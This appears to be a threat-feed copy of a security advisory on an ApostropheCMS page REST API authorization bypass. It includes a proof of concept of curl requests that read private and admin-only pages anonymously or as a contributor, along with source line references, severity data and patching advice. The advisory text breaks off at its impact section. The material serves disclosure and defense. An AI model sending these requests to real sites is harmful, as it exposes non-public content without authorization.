GHSA-2j32-q6rx-h844 - ApostropheCMS: Page REST API authorization bypass
**Summary**
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.
**Details**
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
- `getOne` (L456โ465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` โ no `viewRole` threshold, no `visibility` filtering.
- `all` handler (L318โ395): `getRestQuery(req).permission(false)` (L384โ385) walks every page type and returns the projection including `visibility`.
- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists โ it performs no authorization.
- Correct control behaves differently: `piece-type/index.js:getOne` (L319โ327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.
**PoC**
```
# Anonymous (no session) โ private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# โ 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # โ 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# โ 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # โ 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # โ 403
```
**Impact**
Unauthenticated d
MEDIUM
Severity & confidence
Source severitymedium
Platform severitymedium
Confidencemedium
Exploitationunknown
CVSS5.3
Affected
Vendorsapostrophe
Productsapostrophe
Reporting sources (1)
GitHub Security Advisories
Timeline & provenance
Published2026-10-20T18:13:08
Last updated2026-10-21T06:41:43
Ingested2026-10-20T18:21:26
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a single or secondary source; treat as indicative, verify before acting.
Source type: vendor ยท Original: GitHub Security Advisories